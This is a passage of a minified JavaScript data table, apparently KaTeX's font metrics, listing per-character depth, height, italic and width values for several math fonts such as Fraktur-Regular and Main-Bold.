08198,.58198,0,0,.77778],8861:[.08198,.58198,0,0,.77778],8862:[0,.675,0,0,.77778],8863:[0,.675,0,0,.77778],8864:[0,.675,0,0,.77778],8865:[0,.675,0,0,.77778],8872:[0,.69224,0,0,.61111],8873:[0,.69224,0,0,.72222],8874:[0,.69224,0,0,.88889],8876:[0,.68889,0,0,.61111],8877:[0,.68889,0,0,.61111],8878:[0,.68889,0,0,.72222],8879:[0,.68889,0,0,.72222],8882:[.03517,.54986,0,0,.77778],8883:[.03517,.54986,0,0,.77778],8884:[.13667,.63667,0,0,.77778],8885:[.13667,.63667,0,0,.77778],8888:[0,.54986,0,0,1.11111],8890:[.19444,.43056,0,0,.55556],8891:[.19444,.69224,0,0,.61111],8892:[.19444,.69224,0,0,.61111],8901:[0,.54986,0,0,.27778],8903:[.08167,.58167,0,0,.77778],8905:[.08167,.58167,0,0,.77778],8906:[.08167,.58167,0,0,.77778],8907:[0,.69224,0,0,.77778],8908:[0,.69224,0,0,.77778],8909:[-.03598,.46402,0,0,.77778],8910:[0,.54986,0,0,.76042],8911:[0,.54986,0,0,.76042],8912:[.03517,.54986,0,0,.77778],8913:[.03517,.54986,0,0,.77778],8914:[0,.54986,0,0,.66667],8915:[0,.54986,0,0,.66667],8916:[0,.69224,0,0,.66667],8918:[.0391,.5391,0,0,.77778],8919:[.0391,.5391,0,0,.77778],8920:[.03517,.54986,0,0,1.33334],8921:[.03517,.54986,0,0,1.33334],8922:[.38569,.88569,0,0,.77778],8923:[.38569,.88569,0,0,.77778],8926:[.13667,.63667,0,0,.77778],8927:[.13667,.63667,0,0,.77778],8928:[.30274,.79383,0,0,.77778],8929:[.30274,.79383,0,0,.77778],8934:[.23222,.74111,0,0,.77778],8935:[.23222,.74111,0,0,.77778],8936:[.23222,.74111,0,0,.77778],8937:[.23222,.74111,0,0,.77778],8938:[.20576,.70576,0,0,.77778],8939:[.20576,.70576,0,0,.77778],8940:[.30274,.79383,0,0,.77778],8941:[.30274,.79383,0,0,.77778],8994:[.19444,.69224,0,0,.77778],8995:[.19444,.69224,0,0,.77778],9416:[.15559,.69224,0,0,.90222],9484:[0,.69224,0,0,.5],9488:[0,.69224,0,0,.5],9492:[0,.37788,0,0,.5],9496:[0,.37788,0,0,.5],9585:[.19444,.68889,0,0,.88889],9586:[.19444,.74111,0,0,.88889],9632:[0,.675,0,0,.77778],9633:[0,.675,0,0,.77778],9650:[0,.54986,0,0,.72222],9651:[0,.54986,0,0,.72222],9654:[.03517,.54986,0,0,.77778],9660:[0,.54986,0,0,.72222],9661:[0,.54986,0,0,.72222],9664:[.03517,.54986,0,0,.77778],9674:[.11111,.69224,0,0,.66667],9733:[.19444,.69224,0,0,.94445],10003:[0,.69224,0,0,.83334],10016:[0,.69224,0,0,.83334],10731:[.11111,.69224,0,0,.66667],10846:[.19444,.75583,0,0,.61111],10877:[.13667,.63667,0,0,.77778],10878:[.13667,.63667,0,0,.77778],10885:[.25583,.75583,0,0,.77778],10886:[.25583,.75583,0,0,.77778],10887:[.13597,.63597,0,0,.77778],10888:[.13597,.63597,0,0,.77778],10889:[.26167,.75726,0,0,.77778],10890:[.26167,.75726,0,0,.77778],10891:[.48256,.98256,0,0,.77778],10892:[.48256,.98256,0,0,.77778],10901:[.13667,.63667,0,0,.77778],10902:[.13667,.63667,0,0,.77778],10933:[.25142,.75726,0,0,.77778],10934:[.25142,.75726,0,0,.77778],10935:[.26167,.75726,0,0,.77778],10936:[.26167,.75726,0,0,.77778],10937:[.26167,.75726,0,0,.77778],10938:[.26167,.75726,0,0,.77778],10949:[.25583,.75583,0,0,.77778],10950:[.25583,.75583,0,0,.77778],10955:[.28481,.79383,0,0,.77778],10956:[.28481,.79383,0,0,.77778],57350:[.08167,.58167,0,0,.22222],57351:[.08167,.58167,0,0,.38889],57352:[.08167,.58167,0,0,.77778],57353:[0,.43056,.04028,0,.66667],57356:[.25142,.75726,0,0,.77778],57357:[.25142,.75726,0,0,.77778],57358:[.41951,.91951,0,0,.77778],57359:[.30274,.79383,0,0,.77778],57360:[.30274,.79383,0,0,.77778],57361:[.41951,.91951,0,0,.77778],57366:[.25142,.75726,0,0,.77778],57367:[.25142,.75726,0,0,.77778],57368:[.25142,.75726,0,0,.77778],57369:[.25142,.75726,0,0,.77778],57370:[.13597,.63597,0,0,.77778],57371:[.13597,.63597,0,0,.77778]},"Caligraphic-Regular":{32:[0,0,0,0,.25],65:[0,.68333,0,.19445,.79847],66:[0,.68333,.03041,.13889,.65681],67:[0,.68333,.05834,.13889,.52653],68:[0,.68333,.02778,.08334,.77139],69:[0,.68333,.08944,.11111,.52778],70:[0,.68333,.09931,.11111,.71875],71:[.09722,.68333,.0593,.11111,.59487],72:[0,.68333,.00965,.11111,.84452],73:[0,.68333,.07382,0,.54452],74:[.09722,.68333,.18472,.16667,.67778],75:[0,.68333,.01445,.05556,.76195],76:[0,.68333,0,.13889,.68972],77:[0,.68333,0,.13889,1.2009],78:[0,.68333,.14736,.08334,.82049],79:[0,.68333,.02778,.11111,.79611],80:[0,.68333,.08222,.08334,.69556],81:[.09722,.68333,0,.11111,.81667],82:[0,.68333,0,.08334,.8475],83:[0,.68333,.075,.13889,.60556],84:[0,.68333,.25417,0,.54464],85:[0,.68333,.09931,.08334,.62583],86:[0,.68333,.08222,0,.61278],87:[0,.68333,.08222,.08334,.98778],88:[0,.68333,.14643,.13889,.7133],89:[.09722,.68333,.08222,.08334,.66834],90:[0,.68333,.07944,.13889,.72473],160:[0,0,0,0,.25]},"Fraktur-Regular":{32:[0,0,0,0,.25],33:[0,.69141,0,0,.29574],34:[0,.69141,0,0,.21471],38:[0,.69141,0,0,.73786],39:[0,.69141,0,0,.21201],40:[.24982,.74947,0,0,.38865],41:[.24982,.74947,0,0,.38865],42:[0,.62119,0,0,.27764],43:[.08319,.58283,0,0,.75623],44:[0,.10803,0,0,.27764],45:[.08319,.58283,0,0,.75623],46:[0,.10803,0,0,.27764],47:[.24982,.74947,0,0,.50181],48:[0,.47534,0,0,.50181],49:[0,.47534,0,0,.50181],50:[0,.47534,0,0,.50181],51:[.18906,.47534,0,0,.50181],52:[.18906,.47534,0,0,.50181],53:[.18906,.47534,0,0,.50181],54:[0,.69141,0,0,.50181],55:[.18906,.47534,0,0,.50181],56:[0,.69141,0,0,.50181],57:[.18906,.47534,0,0,.50181],58:[0,.47534,0,0,.21606],59:[.12604,.47534,0,0,.21606],61:[-.13099,.36866,0,0,.75623],63:[0,.69141,0,0,.36245],65:[0,.69141,0,0,.7176],66:[0,.69141,0,0,.88397],67:[0,.69141,0,0,.61254],68:[0,.69141,0,0,.83158],69:[0,.69141,0,0,.66278],70:[.12604,.69141,0,0,.61119],71:[0,.69141,0,0,.78539],72:[.06302,.69141,0,0,.7203],73:[0,.69141,0,0,.55448],74:[.12604,.69141,0,0,.55231],75:[0,.69141,0,0,.66845],76:[0,.69141,0,0,.66602],77:[0,.69141,0,0,1.04953],78:[0,.69141,0,0,.83212],79:[0,.69141,0,0,.82699],80:[.18906,.69141,0,0,.82753],81:[.03781,.69141,0,0,.82699],82:[0,.69141,0,0,.82807],83:[0,.69141,0,0,.82861],84:[0,.69141,0,0,.66899],85:[0,.69141,0,0,.64576],86:[0,.69141,0,0,.83131],87:[0,.69141,0,0,1.04602],88:[0,.69141,0,0,.71922],89:[.18906,.69141,0,0,.83293],90:[.12604,.69141,0,0,.60201],91:[.24982,.74947,0,0,.27764],93:[.24982,.74947,0,0,.27764],94:[0,.69141,0,0,.49965],97:[0,.47534,0,0,.50046],98:[0,.69141,0,0,.51315],99:[0,.47534,0,0,.38946],100:[0,.62119,0,0,.49857],101:[0,.47534,0,0,.40053],102:[.18906,.69141,0,0,.32626],103:[.18906,.47534,0,0,.5037],104:[.18906,.69141,0,0,.52126],105:[0,.69141,0,0,.27899],106:[0,.69141,0,0,.28088],107:[0,.69141,0,0,.38946],108:[0,.69141,0,0,.27953],109:[0,.47534,0,0,.76676],110:[0,.47534,0,0,.52666],111:[0,.47534,0,0,.48885],112:[.18906,.52396,0,0,.50046],113:[.18906,.47534,0,0,.48912],114:[0,.47534,0,0,.38919],115:[0,.47534,0,0,.44266],116:[0,.62119,0,0,.33301],117:[0,.47534,0,0,.5172],118:[0,.52396,0,0,.5118],119:[0,.52396,0,0,.77351],120:[.18906,.47534,0,0,.38865],121:[.18906,.47534,0,0,.49884],122:[.18906,.47534,0,0,.39054],160:[0,0,0,0,.25],8216:[0,.69141,0,0,.21471],8217:[0,.69141,0,0,.21471],58112:[0,.62119,0,0,.49749],58113:[0,.62119,0,0,.4983],58114:[.18906,.69141,0,0,.33328],58115:[.18906,.69141,0,0,.32923],58116:[.18906,.47534,0,0,.50343],58117:[0,.69141,0,0,.33301],58118:[0,.62119,0,0,.33409],58119:[0,.47534,0,0,.50073]},"Main-Bold":{32:[0,0,0,0,.25],33:[0,.69444,0,0,.35],34:[0,.69444,0,0,.60278],35:[.19444,.69444,0,0,.95833],36:[.05556,.75,0,0,.575],37:[.05556,.75,0,0,.95833],38:[0,.69444,0,0,.89444],39:[0,.69444,0,0,.31944],40:[.25,.75,0,0,.44722],41:[.25,.75,0,0,.44722],42:[0,.75,0,0,.575],43:[.13333,.63333,0,0,.89444],44:[.19444,.15556,0,0,.31944],45:[0,.44444,0,0,.38333],46:[0,.15556,0,0,.31944],47:[.25,.75,0,0,.575],48:[0,.64444,0,0,.575],49:[0,.64444,0,0,.575],50:[0,.64444,0,0,.575],51:[0,.64444,0,0,.575],52:[0,.64444,0,0,.575],53:[0,.64444,0,0,.575],54:[0,.64444,0,0,.575],55:[0,.64444,0,0,.575],56:[0,.64444,0,0,.575],57:[0,.64444,0,0,.575],58:[0,.44444,0,0,.31944],59:[.19444,.44444,0,0,.31944],60:[.08556,.58556,0,0,.89444],61:[-.10889,.39111,0,0,.89444],62:[.08556,.58556,0,0,.89444],63:[0,.69444,0,0,.54305],64:[0,.69444,0,0,.89444],65:[0,.68611,0,0,.86944],66:[0,.68611,0,0,.81805],67:[0,.68611,0,0,.83055],68:[0,.68611,0,0,.88194],69:[0,.68611,0,0,.75555],70:[0,.68611,0,0,.72361],71:[0,.68611,0,0,.90416],72:[0,.68611,0,0,.9],73:[0,.68611,0,0,.43611],74:[0,.68611,0,0,.59444],75:[0,.68611,0,0,.90138],76:[0,.68611,0,0,.69166],77:[0,.68611,0,0,1.09166],78:[0,.68611,0,0,.9],79:[0,.68611,0,0,.86388],80:[0,.68611,0,0,.78611],81:[.19444,.68611,0,0,.86388],82:[0,.68611,0,0,.8625],83:[0,.68611,0,0,.63889],84:[0,.68611,0,0,.8],85:[0,.68611,0,0,.88472],86:[0,.68611,.01597,0,.86944],87:[0,.68611,.01597,0,1.18888],88:[0,.68611,0,0,.86944],89:[0,.68611,.02875,0,.86944],90:[0,.68611,0,0,.70277],91:[.25,.75,0,0,.31944],92:[.25,.75,0,0,.575],93:[.25,.75,0,0,.31944],94:[0,.69444,0,0,.575],95:[.31,.13444,.03194,0,.575],97:[0,.44444,0,0,.55902],98:[0,.69444,0,0,.63889],99:[0,.44444,0,0,.51111],100:[0,.69444,0,0,.63889],101:[0,.44444,0,0,.52708],102:[0,.69444,.10903,0,.35139],103:[.19444,.44444,.01597,0,.575],104:[0,.69444,0,0,.63889],105:[0,.69444,0,0,.31944],106:[.19444,.69444,0,0,.35139],107:[0,.69444,0,0,.60694],108:[0,.69444,0,0,.31944],109:[0,.44444,0,0,.95833],110:[0,.44444,0,0,.63889],111:[0,.44444,0,0,.575],112:[.19444,.44444,0,0,.63889],113:[.19444,.44444,0,0,.60694],114:[0,.44444,0,0,.47361],115:[0,.44444,0,0,.45361],116:[0,.63492,0,0,.44722],117:[0,.44444,0,0,.63889],118:[0,.44444,.01597,0,.60694],119:[0,.44444,.01597,0,.83055],120:[0,.44444,0,0,.60694],121:[.19444,.44444,.01597,0,.60694],122:[0,.44444,0,0,.51111],123:[.25,.75,0,0,.575],124:[.25,.75,0,0,.31944],125:[.25,.75,0,0,.575],126:[.35,.34444,0,0,.575],160:[0,0,0,0,.25],163:[0,.69444,0,0,.86853],168:[0,.69444,0,0,.575],172:[0,.44444,0,0,.76666],176:[0,.69444,0,0,.86944],177:[.13333,.63333,0,0,.89444],184:[.17014,0,0,0,.51111],198:[0,.68611,0,0,1.04166],215:[.13333,.63333,0,0,.89444],216:[.04861,.73472,0,0,.89444],223:[0,.69444,0,0,.59722],230:[0,.44444,0,0,.83055],247:[.13333,.63333,0,0,.89444],248:[.09722,.54167,0,0,.575],305:[0,.44444,0,0,.31944],338:[0,.68611,0,0,1.16944],339:[0,.44444,0,0,.89444],567:[.19444,.44444,0,0,.35139],710:[0,.69444,0,0,.575],711:[0,.63194,0,0,.575],713:[0,.59611,0,0,.575],714:[0,.69444,0,0,.575],715:[0,.69444,0,0,.575],728:[0,.69444,0,0,.575],729:[0,.69444,0,0,.31944],730:[0,.69444,0,0,.86944],732:[0,.69444,0,0,.575],733:[0,.69444,0,0,.575],915:[0,.68611,0,0,.69166],916:[0,.68611,0,0,.95833],920:[0,.68611,0,0,.89444],923:[0,.68611,0,0,.80555],926:[0,.68611,0,0,.76666],928:[0,.68611,0,0,.9],931:[0,.68611,0,0,.83055],933:[0,.68611,0,0,.89444],934:[0,.68611,0,0,.83055],936:[0,.68611,0,0,.89444],937:[0,.68611,0,0,.83055],8211:[0,.44444,.03194,0,.575],8212:[0,.44444,.03194,0,1.14999],8216:[0,.69444,0,0,.31944],8217:[0,.69444,0,0,.31944],8220:[0,.69444,0,0,.60278],8221:[0,.69444,0,0,.60278],8224:[.19444,.69444,0,0,.51111],8225:[.19444,.69444,0,0,.51111],8242:[0,.55556,0,0,.34444],8407:[0,.72444,.15486,0,.575],8463:[0,.69444,0,0,.66759],8465:[0,.69444,0,0,.83055],8467:[0,.69444,0,0,.47361],8472:[.19444,.44444,0,0,.74027],8476:[0,.69444,0,0,.83055],8501:[0,.69444,0,0,.70277],8592:[-.10889,.39111,0,0,1.14999],8593:[.19444,.69444,0,0,.575],8594:[-.10889,.39111,0,0,1.14999],8595:[.19444,.69444,0,0,.575],8596:[-.10889,.39111,0,0,1.14999],8597:[.25,.75,0,0,.575],8598:[.19444,.69444,0,0,1.14999],8599:[.19444,.69444,0,0,1.14999],8600:[.19444,.69444,0,0,1.14999],8601:[.19444,.69444,0,0,1.14999],8636:[-.10889,.39111,0,0,1.14999],8637:[-.10889,.39111,0,0,1.14999],8640:[-.10889,.39111,0,0,1.14999],8641:[-.10889,.39111,0,0,1.14999],8656:[-.10889,.39111,0,0,1.14999],8657:[.19444,.69444,0,0,.70277],8658:[-.10889,.39111,0,0,1.14999],8659:[.19444,.69444,0,0,.70277],8660:[-.10889,.39111,0,0,1.14999],8661:[.25,.75,0,0,.70277],8704:[0,.69444,0,0,.63889],8706:[0,.69444,.06389,0,.62847],8707:[0,.69444,0,0,.63889],8709:[.05556,.75,0,0,.575],8711:[0,.68611,0,0,.95833],8712:[.08556,.58556,0,0,.76666],8715:[.08556,.58556,0,0,.76666],8722:[.13333,.63333,0,0,.89444],8723:[.13333,.63333,0,0,.89444],8725:[.25,.75,0,0,.575],8726:[.25,.75,0,0,.575],8727:[-.02778,.47222,0,0,.575],8728:[-.02639,.47361,0,0,.575],8729:[-.02639,.47361,0,0,.575],8730:[.18,.82,0,0,.95833],8733:[0,.44444,0,0,.89444],8734:[0,.44444,0,0,1.14999],8736:[0,.69224,0,0,.72222],8739:[.25,.75,0,0,.31944],8741:[.25,.75,0,0,.575],8743:[0,.55556,0,0,.76666],8744:[0,.55556,0,0,.76666],8745:[0,.55556,0,0,.76666],8746:[0,.55556,0,0,.76666],8747:[.19444,.69444,.12778,0,.56875],8764:[-.10889,.39111,0,0,.89444],8768:[.19444,.69444,0,0,.31944],8771:[.00222,.50222,0,0,.89444],8773:[.027,.638,0,0,.894],8776:[.02444,.52444,0,0,.89444],8781:[.00222,.50222,0,0,.89444],8801:[.00222,.50222,0,0,.89444],8804:[.19667,.69667,0,0,.89444],8805:[.19667,.69667,0,0,.89444],8810:[.08556,.58556,0,0,1.14999],8811:[.08556,.58556,0,0,1.14999],8826:[.08556,.58556,0,0,.89444],8827:[.08556,.58556,0,0,.89444],8834:[.08556,.58556,0,0,.89444],8835:[.08556,.58556,0,0,.89444],8838:[.19667,.69667,0,0,.89444],8839:[.19667,.69667,0,0,.89444],8846:[0,.55556,0,0,.76666],8849:[.19667,.69667,0,0,.89444],8850:[.19667,.69667,0,0,.89444],8851:[0,.55556,0,0,.76666],8852:[0,.55556,0,0,.76666],8853:[.13333,.63333,0,0,.89444],8854:[.13333,.63333,0,0,.89444],8855:[.13333,.63333,0,0,.89444],8856:[.13333,.63333,0,0,.89444],8857:[.13333,.63333,0,0,.89444],8866:[0,.69444,0,0,.70277],8867:[0,.69444,0,0,.70277],8868:[0,.69444,0,0,.89444],8869:[0,.69444,0,0,.89444],8900:[-.02639,.47361,0,0,.575],8901:[-.02639,.47361,0,0,.31944],8902:[-.02778,.47222,0,0,.575],8968:[.25,.75,0,0,.51111],8969:[.25,.75,0,0,.51111],8970:[.25,.75,0,0,.51111],8971:[.25,.75,0,0,.51111],8994:[-.13889,.36111,0,0,1.14999],8995:[-.13889,.36111,0,0,1.14999],9651:[.19444,.69444,0,0,1.02222],9657:[-.02778,.47222,0,0,.575],9661:[.19444,.69444,0,0,1.02222],9667:[-.02778,.47222,0,0,.575],9711:[.19444,.69444,0,0,1.14999],9824:[.12963,.69444,0,0,.89444],9825:[.12963,.69444,0,0,.89444],9826:[.12963,.69444,0,0,.89444],9827:[.12963,.69444,0,0,.89444],9837:[0,.75,0,0,.44722],9838:[.19444,.69444,0,0,.44722],9839:[.19444,.69444,0,0,.44722],10216:[.25,.75,0,0,.44722],10217:[.25,.75,0,0,.44722],10815:[0,.68611,0,0,.9],10927:[.19667,.69667,0,0,.89444],10928:[.19667,.69667,0,0,.89444],57376:[.19444,.69444,0,0,0]},"Main-BoldItalic":{32:[0,0,0,0,.25],33:[0,.69444,.11417,0,.38611],34:[0,.69444,.07939,0,.62055],35:[.19444,.69444,.06833,0,.94444],37:[.05556,.75,.12861,0,.94444],38:[0,.69444,.08528,0,.88555],39:[0,.69444,.12945,0,.35555],40:[.25,.75,.15806,0,.47333],41:[.25,.75,.03306,0,.47333],42:[0,.75,.14333,0,.59111],43:[.10333,.60333,.03306,0,.88555],44:[.19444,.14722,0,0,.35555],45:[0,.44444,.02611,0,.41444],46:[0,.14722,0,0,.35555],47:[.25,.75,.15806,0,.59111],48:[0,.64444,.13167,0,.59111],49:[0,.64444,.13167,0,.59111],50:[0,.64444,.13167,0,.59111],51:[0,.64444,.13167,0,.59111],52:[.19444,.64444,.13167,0,.59111],53:[0,.64444,.13167,0,.59111],54:[0,.64444,.13167,0,.59111],55:[.19444,.64444,.13167,0,.59111],56:[0,.64444,.13167,0,.59111],57:[0,.64444,.13167,0,.59111],58:[0,.44444,.06695,0,.35555],59:[.19444,.44444,.06695,0,.35555],61:[-.10889,.39111,.06833,0,.88555],63:[0,.69444,.11472,0,.59111],64:[0,.69444,.09208,0,.88555],65:[0,.68611,0,0,.86555],66:[0,.68611,.0992,0,.81666],67:[0,.68611,.14208,0,.82666],68:[0,.68611,.09062,0,.87555],69:[0,.68611,.11431,0,.75666],70:[0,.68611,.12903,0,.72722],71:[0,.68611,.07347,0,.89527],72:[0,.68611,.17208,0,.8961],73:[0,.68611,.15681,0,.47166],74:[0,.68611,.145,0,.61055],75:[0,.68611,.14208,0,.89499],76:[0,.68611,0,0,.69777],77:[0,.68611,.17208,0,1.07277],78:[0,.68611,.17208,0,.8961],79:[0,.68611,.09062,0,.85499],80:[0,.68611,.0992,0,.78721],81:[.19444,.68611,.09062,0,.85499],82:[0,.68611,.02559,0,.85944],83:[0,.68611,.11264,0,.64999],84:[0,.68611,.12903,0,.7961],85:[0,.68611,.17208,0,.88083],86:[0,.68611,.18625,0,.86555],87:[0,.68611,.18625,0,1.15999],88:[0,.68611,.15681,0,.86555],89:[0,.68611,.19803,0,.86555],90:[0,.68611,.14208,0,.70888],91:[.25,.75,.1875,0,.35611],93:[.25,.75,.09972,0,.35611],94:[0,.69444,.06709,0,.59111],95:[.31,.13444,.09811,0,.59111],97:[0,.44444,.09426,0,.59111],98:[0,.69444,.07861,0,.53222],99:[0,.44444,.05222,0,.53222],100:[0,.69444,.10861,0,.59111],101:[0,.44444,.085,0,.53222],102:[.19444,.69444,.21778,0,.4],103:[.19444,.44444,.105,0,.53222],104:[0,.69444,.09426,0,.59111],105:[0,.69326,.11387,0,.35555],106:[.19444,.69326,.1672,0,.35555],107:[0,.69444,.11111,0,.53222],108:[0,.69444,.10861,0,.29666],109:[0,.44444,.09426,0,.94444],110:[0,.44444,.09426,0,.64999],111:[0,.44444,.07861,0,.59111],112:[.19444,.44444,.07861,0,.59111],113:[.19444,.44444,.105,0,.53222],114:[0,.44444,.11111,0,.50167],115:[0,.44444,.08167,0,.48694],116:[0,.63492,.09639,0,.385],117:[0,.44444,.09426,0,.62055],118:[0,.44444,.11111,0,.53222],119:[0,.44444,.11111,0,.76777],120:[0,.44444,.12583,0,.56055],121:[.19444,.44444,.105,0,.56166],122:[0,.44444,.13889,0,.49055],126:[.35,.34444,.11472,0,.59111],160:[0,0,0,0,.25],168:[0,.69444,.11473,0,.59111],176:[0,.69444,0,0,.94888],184:[.17014,0,0,0,.53222],198:[0,.68611,.11431,0,1.02277],216:[.04861,.73472,.09062,0,.88555],223:[.19444,.69444,.09736,0,.665],230:[0,.44444,.085,0,.82666],248:[.09722,.54167,.09458,0,.59111],305:[0,.44444,.09426,0,.35555],338:[0,.68611,.11431,0,1.14054],339:[0,.44444,.085,0,.82666],567:[.19444,.44444,.04611,0,.385],710:[0,.69444,.06709,0,.59111],711:[0,.63194,.08271,0,.59111],713:[0,.59444,.10444,0,.59111],714:[0,.69444,.08528,0,.59111],715:[0,.69444,0,0,.59111],728:[0,.69444,.10333,0,.59111],729:[0,.69444,.12945,0,.35555],730:[0,.69444,0,0,.94888],732:[0,.69444,.11472,0,.59111],733:[0,.69444,.11472,0,.59111],915:[0,.68611,.12903,0,.69777],916:[0,.68611,0,0,.94444],920:[0,.68611,.09062,0,.88555],923:[0,.68611,0,0,.80666],926:[0,.68611,.15092,0,.76777],928:[0,.68611,.17208,0,.8961],931:[0,.68611,.11431,0,.82666],933:[0,.68611,.10778,0,.88555],934:[0,.68611,.05632,0,.82666],936:[0,.68611,.10778,0,.88555],937:[0,.68611,.0992,0,.82666],8211:[0,.44444,.09811,0,.59111],8212:[0,.44444,.09811,0,1.18221],8216:[0,.69444,.12945,0,.35555],8217:[0,.69444,.12945,0,.35555],8220:[0,.69444,.16772,0,.62055],8221:[0,.69444,.07939,0,.62055]},"Main-Italic":{32:[0,0,0,0,.25],33:[0,.69444,.12417,0,.30667],34:[0,.69444,.06961,0,.51444],35:[.19444,.69444,.06616,0,.81777],37:[.05556,.75,.13639,0,.81777],38:[0,.69444,.09694,0,.76666],39:[0,.69444,.12417,0,.30667],40:[.25,.75,.16194,0,.40889],41:[.25,.75,.03694,0,.40889],42:[0,.75,.14917,0,.51111],43:[.05667,.56167,.03694,0,.76666],44:[.19444,.10556,0,0,.30667],45:[0,.43056,.02826,0,.35778],46:[0,.10556,0,0,.30667],47:[.25,.75,.16194,0,.51111],48:[0,.64444,.13556,0,.51111],49:[0,.64444,.13556,0,.51111],50:[0,.64444,.13556,0,.51111],51:[0,.64444,.13556,0,.51111],52:[.19444,.64444,.13556,0,.51111],53:[0,.64444,.13556,0,.51111],54:[0,.64444,.13556,0,.51111],55:[.19444,.64444,.13556,0,.51111],56:[0,.64444,.13556,0,.51111],57:[0,.64444,.13556,0,.51111],58:[0,.43056,.0582,0,.30667],59:[.19444,.43056,.0582,0,.30667],61:[-.13313,.36687,.06616,0,.76666],63:[0,.69444,.1225,0,.51111],64:[0,.69444,.09597,0,.76666],65:[0,.68333,0,0,.74333],66:[0,.68333,.10257,0,.70389],67:[0,.68333,.14528,0,.71555],68:[0,.68333,.09403,0,.755],69:[0,.68333,.12028,0,.67833],70:[0,.68333,.13305,0,.65277],71:[0,.68333,.08722,0,.77361],72:[0,.68333,.16389,0,.74333],73:[0,.68333,.15806,0,.38555],74:[0,.68333,.14028,0,.525],75:[0,.68333,.14528,0,.76888],76:[0,.68333,0,0,.62722],77:[0,.68333,.16389,0,.89666],78:[0,.68333,.16389,0,.74333],79:[0,.68333,.09403,0,.76666],80:[0,.68333,.10257,0,.67833],81:[.19444,.68333,.09403,0,.76666],82:[0,.68333,.03868,0,.72944],83:[0,.68333,.11972,0,.56222],84:[0,.68333,.13305,0,.71555],85:[0,.68333,.16389,0,.74333],86:[0,.68333,.18361,0,.74333],87:[0,.68333,.18361,0,.99888],88:[0,.68333,.15806,0,.74333],89:[0,.68333,.19383,0,.74333],90:[0,.68333,.14528,0,.61333],91:[.25,.75,.1875,0,.30667],93:[.25,.75,.10528,0,.30667],94:[0,.69444,.06646,0,.51111],95:[.31,.12056,.09208,0,.51111],97:[0,.43056,.07671,0,.51111],98:[0,.69444,.06312,0,.46],99:[0,.43056,.05653,0,.46],100:[0,.69444,.10333,0,.51111],101:[0,.43056,.07514,0,.46],102:[.19444,.69444,.21194,0,.30667],103:[.19444,.43056,.08847,0,.46],104:[0,.69444,.07671,0,.51111],105:[0,.65536,.1019,0,.30667],106:[.19444,.65536,.14467,0,.30667],107:[0,.69444,.10764,0,.46],108:[0,.69444,.10333,0,.25555],109:[0,.43056,.07671,0,.81777],110:[0,.43056,.07671,0,.56222],111:[0,.43056,.06312,0,.51111],112:[.19444,.43056,.06312,0,.51111],113:[.19444,.43056,.08847,0,.46],114:[0,.43056,.10764,0,.42166],115:[0,.43056,.08208,0,.40889],116:[0,.61508,.09486,0,.33222],117:[0,.43056,.07671,0,.53666],118:[0,.43056,.10764,0,.46],119:[0,.43056,.10764,0,.66444],120:[0,.43056,.12042,0,.46389],121:[.19444,.43056,.08847,0,.48555],122:[0,.43056,.12292,0,.40889],126:[.35,.31786,.11585,0,.51111],160:[0,0,0,0,.25],168:[0,.66786,.10474,0,.51111],176:[0,.69444,0,0,.83129],184:[.17014,0,0,0,.46],198:[0,.68333,.12028,0,.88277],216:[.04861,.73194,.09403,0,.76666],223:[.19444,.69444,.10514,0,.53666],230:[0,.43056,.07514,0,.71555],248:[.09722,.52778,.09194,0,.51111],338:[0,.68333,.12028,0,.98499],339:[0,.43056,.07514,0,.71555],710:[0,.69444,.06646,0,.51111],711:[0,.62847,.08295,0,.51111],713:[0,.56167,.10333,0,.51111],714:[0,.69444,.09694,0,.51111],715:[0,.69444,0,0,.51111],728:[0,.69444,.10806,0,.51111],729:[0,.66786,.11752,0,.30667],730:[0,.69444,0,0,.83129],732:[0,.66786,.11585,0,.51111],733:[0,.69444,.1225,0,.51111],915:[0,.68333,.13305,0,.62722],916:[0,.68333,0,0,.81777],920:[0,.68333,.09403,0,.76666],923:[0,.68333,0,0,.69222],926:[0,.68333,.15294,0,.66444],928:[0,.68333,.16389,0,.74333],931:[0,.68333,.12028,0,.71555],933:[0,.68333,.11111,0,.76666],934:[0,.68333,.05986,0,.71555],936:[0,.68333,.11111,0,.76666],937:[0,.68333,.10257,0,.71555],8211:[0,.43056,.09208,0,.51111],8212:[0,.43056,.09208,0,1.02222],8216:[0,.69444,.12417,0,.30667],8217:[0,.69444,.12417,0,.30667],8220:[0,.69444,.1685,0,.51444],8221:[0,.69444,.06961,0,.51444],8463:[0,.68889,0,0,.54028]},"Main-Regular":{32:[0,0,0,0,.25],33:[0,.69444,0,0,.27778],34:[0,.69444,0,0,.5],35:[.19444,.69444,0,0,.83334],36:[.05556,.75,0,0,.5],37:[.05556,.75,0,0,.83334],38:[0,.69444,0,0,.77778],39:[0,.69444,0,0,.27778],40:[.25,.75,0,0,.38889],41:[.25,.75,0,0,.38889],42:[0,.75,0,0,.5],43:[.08333,.58333,0,0,.77778],44:[.19444,.10556,0,0,.27778],45:[0,.43056,0,0,.33333],46:[0,.10556,0,0,.27778],47:[.25,.75,0,0,.5],48:[0,.64444,0,0,.5],49:[0,.64444,0,0,.5],50:[0,.64444,0,0,.5],51:[0,.64444,0,0,.5],52:[0,.64444,0,0,.5],53:[0,.64444,0,0,.5],54:[0,.64444,0,0,.5],55:[0,.64444,0,0,.5],56:[0,.64444,0,0,.5],57:[0,.64444,0,0,.5],58:[0,.43056,0,0,.27778],59:[.19444,.43056,0,0,.27778],60:[.0391,.5391,0,0,.77778],61:[-.13313,.36687,0,0,.77778],62:[.0391,.5391,0,0,.77778],63:[0,.69444,0,0,.47222],64:[0,.69444,0,0,.77778],65:[0,.68333,0,0,.75],66:[0,.68333,0,0,.70834],67:[0,.68333,0,0,.72222],68:[0,.68333,0,0,.76389],69:[0,.68333,0,0,.68056],70:[0,.68333,0,0,.65278],71:[0,.68333,0,0,.78472],72:[0,.68333,0,0,.75],73:[0,.68333,0,0,.36111],74:[0,.68333,0,0,.51389],75:[0,.68333,0,0,.77778],76:[0,.68333,0,0,.625],77:[0,.68333,0,0,.91667],78:[0,.68333,0,0,.75],79:[0,.68333,0,0,.77778],80:[0,.68333,0,0,.68056],81:[.19444,.68333,0,0,.77778],82:[0,.68333,0,0,.73611],83:[0,.68333,0,0,.55556],84:[0,.68333,0,0,.72222],85:[0,.68333,0,0,.75],86:[0,.68333,.01389,0,.75],87:[0,.68333,.01389,0,1.02778],88:[0,.68333,0,0,.75],89:[0,.68333,.025,0,.75],90:[0,.68333,0,0,.61111],91:[.25,.75,0,0,.27778],92:[.25,.75,0,0,.5],93:[.25,.75,0,0,.27778],94:[0,.69444,0,0,.5],95:[.31,.12056,.02778,0,.5],